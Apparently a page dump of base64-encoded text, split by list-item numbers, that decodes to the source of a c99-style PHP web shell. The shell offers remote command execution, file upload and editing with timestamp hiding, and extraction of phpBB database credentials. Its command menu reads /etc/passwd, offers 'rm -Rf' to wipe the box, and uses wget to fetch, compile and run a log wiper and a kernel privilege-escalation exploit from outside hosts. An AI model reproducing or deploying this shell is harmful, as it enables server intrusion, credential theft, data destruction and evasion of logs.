ZGVjb2RlKCR0ZXh0KTsNCiAgICBlY2hvICI8Yj5CYXNlNjQgRGVjb2RlIjsNCiAgICBpZiAoYmFz ZTY0X2VuY29kZSgkZW5jb2RlZCkgIT0gJHRleHQpIHtlY2hvICIgKGZhaWxlZCkiO30NCiAgICBl Y2hvICI8L2I+PGJyPiI7DQogICB9DQogICBpZiAoIWVtcHR5KCRlbmNvZGVkKSkNCiAgIHsNCiAg ICBlY2hvICI8dGV4dGFyZWEgY29scz04MCByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkZW5j b2RlZCkuIjwvdGV4dGFyZWE+PGJyPjxicj4iOw0KICAgfQ0KICAgZWNobyAiPGI+SEVYRFVNUDo8 L2I+PG5vYnI+IFs8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1 ZT0nZic7ZG9jdW1lbnQudG9kby5mLnZhbHVlPSciLnVybGVuY29kZSgkZikuIic7ZG9jdW1lbnQu dG9kby5mdC52YWx1ZT0naW5mbyc7ZG9jdW1lbnQudG9kby5mdWxsaGV4ZHVtcC52YWx1ZT0nMSc7 ZG9jdW1lbnQudG9kby5kLnZhbHVlPSciLnVybGVuY29kZSgkZCkuIic7ZG9jdW1lbnQudG9kby5z dWJtaXQoKTtcIj5GdWxsPC9hPl0gWzxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRv ZG8uYWN0LnZhbHVlPSdmJztkb2N1bWVudC50b2RvLmYudmFsdWU9JyIudXJsZW5jb2RlKCRmKS4i Jztkb2N1bWVudC50b2RvLmZ0LnZhbHVlPSdpbmZvJztkb2N1bWVudC50b2RvLmQudmFsdWU9JyIu dXJsZW5jb2RlKCRkKS4iJztkb2N1bWVudC50b2RvLnN1Ym1pdCgpO1wiPlByZXZpZXc8L2E+XTxi cj48Yj5CYXNlNjQ6IDwvYj4NCjxub2JyPls8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVu dC50b2RvLmFjdC52YWx1ZT0nZic7ZG9jdW1lbnQudG9kby5mLnZhbHVlPSciLnVybGVuY29kZSgk ZikuIic7ZG9jdW1lbnQudG9kby5mdC52YWx1ZT0naW5mbyc7ZG9jdW1lbnQudG9kby5iYXNlNjQu dmFsdWU9JzEnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi51cmxlbmNvZGUoJGQpLiInO2RvY3Vt ZW50LnRvZG8uc3VibWl0KCk7XCI+RW5jb2RlPC9hPl0mbmJzcDs8L25vYnI+DQo8bm9icj5bPGEg aHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J2YnO2RvY3VtZW50 LnRvZG8uZi52YWx1ZT0nIi51cmxlbmNvZGUoJGYpLiInO2RvY3VtZW50LnRvZG8uZnQudmFsdWU9
  • 43. J2luZm8nO2RvY3VtZW50LnRvZG8uYmFzZTY0LnZhbHVlPScyJztkb2N1bWVudC50b2RvLmQudmFs dWU9JyIudXJsZW5jb2RlKCRkKS4iJztkb2N1bWVudC50b2RvLnN1Ym1pdCgpO1wiPitjaHVuazwv YT5dJm5ic3A7PC9ub2JyPg0KPG5vYnI+WzxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50 LnRvZG8uYWN0LnZhbHVlPSdmJztkb2N1bWVudC50b2RvLmYudmFsdWU9JyIudXJsZW5jb2RlKCRm KS4iJztkb2N1bWVudC50b2RvLmZ0LnZhbHVlPSdpbmZvJztkb2N1bWVudC50b2RvLmJhc2U2NC52 YWx1ZT0nMyc7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSciLnVybGVuY29kZSgkZCkuIic7ZG9jdW1l bnQudG9kby5zdWJtaXQoKTtcIj4rY2h1bmsrcXVvdGVzPC9hPl0mbmJzcDs8L25vYnI+DQo8bm9i cj5bPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J2YnO2Rv Y3VtZW50LnRvZG8uZi52YWx1ZT0nIi51cmxlbmNvZGUoJGYpLiInO2RvY3VtZW50LnRvZG8uZnQu dmFsdWU9J2luZm8nO2RvY3VtZW50LnRvZG8uYmFzZTY0LnZhbHVlPSc0Jztkb2N1bWVudC50b2Rv LmQudmFsdWU9JyIudXJsZW5jb2RlKCRkKS4iJztkb2N1bWVudC50b2RvLnN1Ym1pdCgpO1wiPkRl Y29kZTwvYT5dJm5ic3A7PC9ub2JyPg0KPFA+IjsNCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAiaHRt bCIpDQogIHsNCiAgIGlmICgkd2hpdGUpIHtAb2JfY2xlYW4oKTt9DQogICBlY2hvICRyOw0KICAg aWYgKCR3aGl0ZSkge2M5OXNoZXhpdCgpO30NCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAidHh0Iikg e2VjaG8gIjxwcmU+Ii5odG1sc3BlY2lhbGNoYXJzKCRyKS4iPC9wcmU+Ijt9DQogIGVsc2VpZiAo JGZ0ID09ICJpbmkiKSB7ZWNobyAiPHByZT4iOyB2YXJfZHVtcChwYXJzZV9pbmlfZmlsZSgkZC4k ZixUUlVFKSk7IGVjaG8gIjwvcHJlPiI7fQ0KICBlbHNlaWYgKCRmdCA9PSAicGhwc2VzcyIpDQog IHsNCiAgIGVjaG8gIjxwcmU+IjsNCiAgICR2ID0gZXhwbG9kZSgifCIsJHIpOw0KICAgZWNobyAk dlswXS4iPGJyPiI7DQogICB2YXJfZHVtcCh1bnNlcmlhbGl6ZSgkdlsxXSkpOw0KICAgZWNobyAi PC9wcmU+IjsNCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAiZXhlIikNCiAgew0KICAgJGV4dCA9IGV4 cGxvZGUoIi4iLCRmKTsNCiAgICRjID0gY291bnQoJGV4dCktMTsNCiAgICRleHQgPSAkZXh0WyRj XTsNCiAgICRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOw0KICAgJHJmdCA9ICIiOw0KICAgZm9yZWFj aCgkZXhlZnR5cGVzIGFzICRrPT4kdikNCiAgIHsNCiAgICBpZiAoaW5fYXJyYXkoJGV4dCwkdikp IHskcmZ0ID0gJGs7IGJyZWFrO30NCiAgIH0NCiAgICRjbWQgPSBzdHJfcmVwbGFjZSgiJWYlIiwk ZiwkcmZ0KTsNCiAgIGVjaG8gIjxiPkV4ZWN1dGUgZmlsZTo8L2I+PGZvcm0gbWV0aG9kPVBPU1Q+ PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPWNtZD48aW5wdXQgdHlwZT1cInRleHRc IiBuYW1lPVwiY21kXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGNtZCkuIlwiIHNpemU9 XCIiLihzdHJsZW4oJGNtZCkrMikuIlwiPjxicj5EaXNwbGF5IGluIHRleHQtYXJlYTxpbnB1dCB0 eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiY21kX3R4dFwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+PGlu cHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJkXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGQp LiJcIj48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiRXhlY3V0ZVwi PjwvZm9ybT4iOw0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJzZGIiKSB7ZWNobyAiPHByZT4iOyB2 YXJfZHVtcCh1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKCRyKSkpOyBlY2hvICI8L3ByZT4iO30N CiAgZWxzZWlmICgkZnQgPT0gImNvZGUiKQ0KICB7DQogICBpZiAoZXJlZygicGhwIi4iQkIgMi4o LiopIGF1dG8tZ2VuZXJhdGVkIGNvbmZpZyBmaWxlIiwkcikpDQogICB7DQogICAgJGFyciA9IGV4 cGxvZGUoIlxuIiwkcik7DQogICAgaWYgKGNvdW50KCRhcnIgPT0gMTgpKQ0KICAgIHsNCiAgICAg aW5jbHVkZSgkZC4kZik7DQogICAgIGVjaG8gIjxiPnBocEJCIGNvbmZpZ3VyYXRpb24gaXMgZGV0 ZWN0ZWQgaW4gdGhpcyBmaWxlITxicj4iOw0KICAgICBpZiAoJGRibXMgPT0gIm15c3FsNCIpIHsk ZGJtcyA9ICJteXNxbCI7fQ0KICAgICBpZiAoJGRibXMgPT0gIm15c3FsIikge2VjaG8gIjxhIGhy ZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnNxbC5hY3QudmFsdWU9J3NxbCc7ZG9jdW1lbnQu c3FsLnNxbF9sb2dpbi52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRkYnVzZXIpLiInO2RvY3Vt ZW50LnNxbC5zcWxfcGFzc3dkLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJGRicGFzc3dkKS4i Jztkb2N1bWVudC5zcWwuc3FsX3NlcnZlci52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRkYmhv c3QpLiInO2RvY3VtZW50LnNxbC5zcWxfcG9ydC52YWx1ZT0nMzMwNic7ZG9jdW1lbnQuc3FsLnNx bF9kYi52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRkYm5hbWUpLiInO2RvY3VtZW50LnNxbC5z dWJtaXQoKTtcIj48Yj48dT5Db25uZWN0IHRvIERCPC91PjwvYj48L2E+PGJyPjxicj4iO30NCiAg ICAgZWxzZSB7ZWNobyAiQnV0LCB5b3UgY2FuJ3QgY29ubmVjdCB0byBmb3J1bSBzcWwtYmFzZSwg YmVjYXVzZSBkYi1zb2Z0d2FyZT1cIiIuJGRibXMuIlwiIGlzIG5vdCBzdXBwb3J0ZWQgYnkgZXZp bGMwZGVyLiBQbGVhc2UsIHJlcG9ydCB1cyBmb3IgZml4LiI7fQ0KICAgICBlY2hvICJQYXJhbWV0 ZXJzIGZvciBtYW51YWwgY29ubmVjdDo8YnI+IjsNCiAgICAgJGNmZ3ZhcnMgPSBhcnJheSgiZGJt cyI9PiRkYm1zLCJkYmhvc3QiPT4kZGJob3N0LCJkYm5hbWUiPT4kZGJuYW1lLCJkYnVzZXIiPT4k ZGJ1c2VyLCJkYnBhc3N3ZCI9PiRkYnBhc3N3ZCk7DQogICAgIGZvcmVhY2ggKCRjZmd2YXJzIGFz ICRrPT4kdikge2VjaG8gaHRtbHNwZWNpYWxjaGFycygkaykuIj0nIi5odG1sc3BlY2lhbGNoYXJz KCR2KS4iJzxicj4iO30NCiAgICAgZWNobyAiPC9iPjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsN CiAgICB9DQogICB9DQogICBlY2hvICI8ZGl2IHN0eWxlPVwiYm9yZGVyIDogMHB4IHNvbGlkICNG RkZGRkY7IHBhZGRpbmc6IDFlbTsgbWFyZ2luLXRvcDogMWVtOyBtYXJnaW4tYm90dG9tOiAxZW07 IG1hcmdpbi1yaWdodDogMWVtOyBtYXJnaW4tbGVmdDogMWVtOyBiYWNrZ3JvdW5kLWNvbG9yOiAi LiRoaWdobGlnaHRfYmFja2dyb3VuZCAuIjtcIj4iOw0KICAgaWYgKCFlbXB0eSgkd2hpdGUpKSB7 QG9iX2NsZWFuKCk7fQ0KICAgaGlnaGxpZ2h0X2ZpbGUoJGQuJGYpOw0KICAgaWYgKCFlbXB0eSgk
  • 44. d2hpdGUpKSB7Yzk5c2hleGl0KCk7fQ0KICAgZWNobyAiPC9kaXY+IjsNCiAgfQ0KICBlbHNlaWYg KCRmdCA9PSAiZG93bmxvYWQiKQ0KICB7DQogICBAb2JfY2xlYW4oKTsNCiAgIGhlYWRlcigiQ29u dGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsNCiAgIGhlYWRlcigiQ29udGVu dC1sZW5ndGg6ICIuZmlsZXNpemUoJGQuJGYpKTsNCiAgIGhlYWRlcigiQ29udGVudC1kaXNwb3Np dGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRmLiJcIjsiKTsNCiAgIGVjaG8gJHI7DQog ICBleGl0Ow0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJub3RlcGFkIikNCiAgew0KICAgQG9iX2Ns ZWFuKCk7DQogICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogdGV4dC9wbGFpbiIpOw0KICAgaGVhZGVy KCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGYuIi50eHRc IjsiKTsNCiAgIGVjaG8oJHIpOw0KICAgZXhpdDsNCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAiZWRp dCIpDQogIHsNCiAgIGlmICghZW1wdHkoJHN1Ym1pdCkpDQogICB7DQogICAgaWYgKCRmaWxlc3Rl YWx0aCkgeyRzdGF0ID0gc3RhdCgkZC4kZik7fQ0KICAgICRmcCA9IGZvcGVuKCRkLiRmLCJ3Iik7 DQogICAgaWYgKCEkZnApIHtlY2hvICI8Yj5DYW4ndCB3cml0ZSB0byBmaWxlITwvYj4iO30NCiAg ICBlbHNlDQogICAgew0KICAgICBlY2hvICI8Yj5TYXZlZCE8L2I+IjsNCiAgICAgZndyaXRlKCRm cCwkZWRpdF90ZXh0KTsNCiAgICAgZmNsb3NlKCRmcCk7DQogICAgIGlmICgkZmlsZXN0ZWFsdGgp IHt0b3VjaCgkZC4kZiwkc3RhdFs5XSwkc3RhdFs4XSk7fQ0KICAgICAkciA9ICRlZGl0X3RleHQ7 DQogICAgfQ0KICAgfQ0KICAgJHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwkcikpOw0KICAg aWYgKCRyb3dzIDwgMTApIHskcm93cyA9IDEwO30NCiAgIGlmICgkcm93cyA+IDMwKSB7JHJvd3Mg PSAzMDt9DQogICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PGlucHV0IG5hbWU9J2FjdCcg dHlwZT0naGlkZGVuJyB2YWx1ZT0nZic+PGlucHV0IG5hbWU9J2YnIHR5cGU9J2hpZGRlbicgdmFs dWU9JyIudXJsZW5jb2RlKCRmKS4iJz48aW5wdXQgbmFtZT0nZnQnIHR5cGU9J2hpZGRlbicgdmFs dWU9J2VkaXQnPjxpbnB1dCBuYW1lPSdkJyB0eXBlPSdoaWRkZW4nIHZhbHVlPSciLnVybGVuY29k ZSgkZCkuIic+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiU2F2ZVwiPiZu YnNwOzxpbnB1dCB0eXBlPVwicmVzZXRcIiB2YWx1ZT1cIlJlc2V0XCI+Jm5ic3A7PGlucHV0IHR5 cGU9XCJidXR0b25cIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J2xzJztkb2N1 bWVudC50b2RvLmQudmFsdWU9JyIuYWRkc2xhc2hlcyhzdWJzdHIoJGQsMCwtMSkpLiInO2RvY3Vt ZW50LnRvZG8uc3VibWl0KCk7XCIgdmFsdWU9XCJCYWNrXCI+PGJyPjx0ZXh0YXJlYSBuYW1lPVwi ZWRpdF90ZXh0XCIgY29scz1cIjEyMlwiIHJvd3M9XCIiLiRyb3dzLiJcIj4iLmh0bWxzcGVjaWFs Y2hhcnMoJHIpLiI8L3RleHRhcmVhPjwvZm9ybT4iOw0KICB9DQogIGVsc2VpZiAoIWVtcHR5KCRm dCkpIHtlY2hvICI8Y2VudGVyPjxiPk1hbnVhbGx5IHNlbGVjdGVkIHR5cGUgaXMgaW5jb3JyZWN0 LiBJZiB5b3UgdGhpbmssIGl0IGlzIG1pc3Rha2UsIHBsZWFzZSBzZW5kIHVzIHVybCBhbmQgZHVt cCBvZiBcJEdMT0JBTFMuPC9iPjwvY2VudGVyPiI7fQ0KICBlbHNlIHtlY2hvICI8Y2VudGVyPjxi PlVua25vd24gZXh0ZW5zaW9uICgiLiRleHQuIiksIHBsZWFzZSwgc2VsZWN0IHR5cGUgbWFudWFs bHkuPC9iPjwvY2VudGVyPiI7fQ0KIH0NCn0NCmlmICgkYWN0ID09ICJhYm91dCIpIHtlY2hvICJy MDB0Ijt9DQo/Pg0KPC90ZD48L3RyPjwvdGFibGU+PGEgYm9va21hcms9Im1pbmlwYW5lbCI+PGJy PjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgY2VsbFNwYWNpbmc9MCBi b3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IGhlaWdodD0iMSIgd2lkdGg9IjEw MCUiIGJnQ29sb3I9IzAwMzMwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+DQo8 dHI+PHRkIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIiBjb2xzcGFuPSIyIj48 cCBhbGlnbj0iY2VudGVyIj48Yj46OiA8YSBocmVmPSIjIiBvbmNsaWNrPSJkb2N1bWVudC50b2Rv LmFjdC52YWx1ZT0nY21kJztkb2N1bWVudC50b2RvLmQudmFsdWU9Jzw/cGhwIGVjaG8gdXJsZW5j b2RlKCRkKTsgPz4nO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7Ij48Yj5Db21tYW5kIGV4ZWN1dGU8 L2I+PC9hPiA6OjwvYj48L3A+PC90ZD48L3RyPg0KPHRyPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9 IjEiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxiPkVudGVyOiA8L2I+PGZvcm0gbWV0aG9kPSJQT1NU Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ImNtZCI+PGlucHV0IHR5cGU9aGlk ZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPSJ0 ZXh0IiBuYW1lPSJjbWQiIHNpemU9IjUwIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNo YXJzKCRjbWQpOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImNtZF90eHQiIHZhbHVlPSIx Ij4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9IkV4ZWN1dGUiPjwv Zm9ybT48L3RkPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVy PjxiPlNlbGVjdDogPC9iPjxmb3JtIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9aGlkZGVuIG5h bWU9YWN0IHZhbHVlPSJjbWQiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9w aHAgZWNobyAkZGlzcGQ7ID8+Ij48c2VsZWN0IG5hbWU9ImNtZCI+PD9waHAgZm9yZWFjaCAoJGNt ZGFsaWFzZXMgYXMgJGFscykge2VjaG8gIjxvcHRpb24gdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hh cnMoJGFsc1sxXSkuIlwiPiIuaHRtbHNwZWNpYWxjaGFycygkYWxzWzBdKS4iPC9vcHRpb24+Ijt9 ID8+PC9zZWxlY3Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImNtZF90eHQiIHZhbHVlPSIxIj4m bmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9IkV4ZWN1dGUiPjwvZm9y bT48L3RkPjwvdHI+PC9UQUJMRT4NCjxicj4NCjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNF OiBjb2xsYXBzZSIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFk ZGluZz01IGhlaWdodD0iMSIgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzAwMzMwMCBib3JkZXJDb2xv
  • 45. ckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+DQo8dHI+DQogPHRkIHdpZHRoPSI1MCUiIGhlaWdodD0i MSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+OjogPGEgaHJlZj0iIyIgb25jbGljaz0iZG9jdW1l bnQudG9kby5hY3QudmFsdWU9J3NlYXJjaCc7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTsiPjxiPlNl YXJjaDwvYj48L2E+IDo6PC9iPjxmb3JtIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9aGlkZGVu IG5hbWU9YWN0IHZhbHVlPSJzZWFyY2giPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1 ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic2VhcmNo X25hbWUiIHNpemU9IjI5IiB2YWx1ZT0iKC4qKSI+Jm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94 IiBuYW1lPSJzZWFyY2hfbmFtZV9yZWdleHAiIHZhbHVlPSIxIiAgY2hlY2tlZD4gLSByZWdleHAm bmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9IlNlYXJjaCI+PC9mb3Jt PjwvY2VudGVyPjwvcD48L3RkPg0KIDx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0i dG9wIj48Y2VudGVyPjxiPjo6IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImRvY3VtZW50LnRvZG8uYWN0 LnZhbHVlPSd1cGxvYWQnO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7Ij48Yj5VcGxvYWQ8L2I+PC9h PiA6OjwvYj48Zm9ybSBtZXRob2Q9IlBPU1QiIEVOQ1RZUEU9Im11bHRpcGFydC9mb3JtLWRhdGEi PjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0idXBsb2FkIj48aW5wdXQgdHlwZT1o aWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9 ImZpbGUiIG5hbWU9InVwbG9hZGZpbGUiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJtaW5pZm9y bSIgdmFsdWU9IjEiPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT0i VXBsb2FkIj48YnI+PD9waHAgZWNobyAkd2R0OyA/PjwvZm9ybT48L2NlbnRlcj48L3RkPg0KDQo8 VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGNlbGxTcGFjaW5nPTAgYm9y ZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSBoZWlnaHQ9IjExNiIgd2lkdGg9IjEw MCUiIGJnQ29sb3I9IzAwMzMwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+IA0K PHRyPjx0ZCBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIiBjb2xzcGFuPSIyIj48cCBhbGlnbj0iY2Vu dGVyIj48Yj46OiA8YSBocmVmPSI8P3BocCBlY2hvICRzdXJsOyA/PmFjdD1jbWQmZD08P3BocCBl Y2hvIHVybGVuY29kZSgkZCk7ID8+Ij48Yj5TaGFkb3cncyB0cmlja3MgOkQgPC9iPjwvYT4gOjo8 L2I+PC9wPjwvdGQ+PC90cj4gDQo8dHI+IA0KPHRyPiANCiAgPHRkIHdpZHRoPSI1MCUiIGhlaWdo dD0iODMiIHZhbGlnbj0idG9wIj48Y2VudGVyPiANCiAgICA8ZGl2IGFsaWduPSJjZW50ZXIiPlVz ZWZ1bCBDb21tYW5kcyAgDQogICAgPC9kaXY+IA0KICAgIDxmb3JtIGFjdGlvbj0iPD9waHAgZWNo byAkc3VybDsgPz4mcXVvdDsmZ3Q7IA0KICAgICAgPGRpdiBhbGlnbj0iY2VudGVyIj4gDQogICAg ICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0iY21kIj4gDQogICAgICAgIDxp bnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4g DQogICAgICAgICAgPFNFTEVDVCBOQU1FPSJjbWQiPiANCiAgICAgICAgICAgIDxPUFRJT04gVkFM VUU9InVuYW1lIC1hIj5LZXJuZWwgdmVyc2lvbiANCiAgICAgICAgICAgICAgPE9QVElPTiBWQUxV RT0idyI+TG9nZ2VkIGluIHVzZXJzIA0KICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9Imxh c3Rsb2ciPkxhc3QgdG8gY29ubmVjdCANCiAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9 ImZpbmQgL2JpbiAvdXNyL2JpbiAvdXNyL2xvY2FsL2JpbiAvc2JpbiAvdXNyL3NiaW4gL3Vzci9s b2NhbC9zYmluIC1wZXJtIC00MDAwIDI+IC9kZXYvbnVsbCI+DQoJCQkJCVN1aWQgYmlucyANCiAg ICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iY3V0IC1kOiAtZjEsMiwzIC9ldGMvcGFz c3dkIHwgZ3JlcCA6OiI+VVNFUiANCgkJCQkJV0lUSE9VVCBQQVNTV09SRCEgDQogICAgICAgICAg ICAgICAgICAgIDxPUFRJT04gVkFMVUU9ImZpbmQgL2V0Yy8gLXR5cGUgZiAtcGVybSAtbyt3IDI+ IC9kZXYvbnVsbCI+DQoJCQkJCVdyaXRlIGluIC9ldGMvPyANCiAgICAgICAgICAgICAgICAgICAg PE9QVElPTiBWQUxVRT0id2hpY2ggd2dldCBjdXJsIHczbSBseW54Ij5Eb3dubG9hZGVycz8gDQog ICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9ImNhdCAvcHJvYy92ZXJzaW9uIC9wcm9j L2NwdWluZm8iPkNQVUlORk8gDQogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9Im5l dHN0YXQgLWF0dXAgfCBncmVwIElTVCI+T3BlbiBwb3J0cyANCiAgICAgICAgICAgICAgICAgICAg PE9QVElPTiBWQUxVRT0ibG9jYXRlIGdjYyI+Z2NjIGluc3RhbGxlZD8gDQogICAgICAgICAgICAg ICAgICAgIDxPUFRJT04gVkFMVUU9InJtIC1SZiI+Rm9ybWF0IGJveCAoREFOR0VST1VTKSANCiAg ICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0id2dldCBodHRwOi8vd3d3LnBhY2tldHN0 b3Jtc2VjdXJpdHkub3JnL1VOSVgvcGVuZXRyYXRpb24vbG9nLXdpcGVycy96YXAyLmMiPg0KCQkJ CQlXSVBFTE9HUyBQVDEgKElmIHdnZXQgaW5zdGFsbGVkKSANCiAgICAgICAgICAgICAgICAgICAg PE9QVElPTiBWQUxVRT0iZ2NjIHphcDIuYyAtbyB6YXAyIj5XSVBFTE9HUyBQVDIgDQogICAgICAg ICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9Ii4vemFwMiI+V0lQRUxPR1MgUFQzIA0KICAgICAg ICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJ3Z2V0IGh0dHA6Ly9mdHAucG93ZXJuZXQuY29t LnRyL3N1cGVybWFpbC9kZWJ1Zy9rMyI+DQoJCQkJCUtlcm5lbCBhdHRhY2sgKEtyYWQuYykgUFQx IChJZiB3Z2V0IGluc3RhbGxlZCkgDQogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9 Ii4vazMgMSI+S2VybmVsIGF0dGFjayAoS3JhZC5jKSBQVDIgKEwxKSANCiAgICAgICAgICAgICAg ICAgICAgPE9QVElPTiBWQUxVRT0iLi9rMyAyIj5LZXJuZWwgYXR0YWNrIChLcmFkLmMpIFBUMiAo TDIpIA0KICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSIuL2szIDMiPktlcm5lbCBh dHRhY2sgKEtyYWQuYykgUFQyIChMMykgDQogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFM VUU9Ii4vazMgNCI+S2VybmVsIGF0dGFjayAoS3JhZC5jKSBQVDIgKEw0KSANCiAgICAgICAgICAg
  • 46. ICAgICAgICAgPE9QVElPTiBWQUxVRT0iLi9rMyA1Ij5LZXJuZWwgYXR0YWNrIChLcmFkLmMpIFBU MiAoTDUpIA0KICAgICAgICAgICAgICAgICAgPC9TRUxFQ1Q+IA0KICAgICAgICA8aW5wdXQgdHlw ZT1oaWRkZW4gbmFtZT0iY21kX3R4dCIgdmFsdWU9IjEiPiANCiAgICAgICAgJm5ic3A7IA0KICAg ICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9IkV4ZWN1dGUiPiANCiAg ICAgICAgICA8YnI+IA0KICAgICAgICBXYXJuaW5nLiBLZXJuZWwgbWF5IGJlIGFsZXJ0ZWQgdXNp bmcgaGlnaGVyIGxldmVscyA8L2Rpdj4gDQogICAgPC9mb3JtPiANCiAgICA8L3RkPiANCiAgPHRk IHdpZHRoPSI1MCUiIGhlaWdodD0iODMiIHZhbGlnbj0idG9wIj48Y2VudGVyPiANCiAgIDxjZW50 ZXI+S2VybmVsIEluZm86IDxmb3JtIG5hbWU9ImZvcm0xIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0i 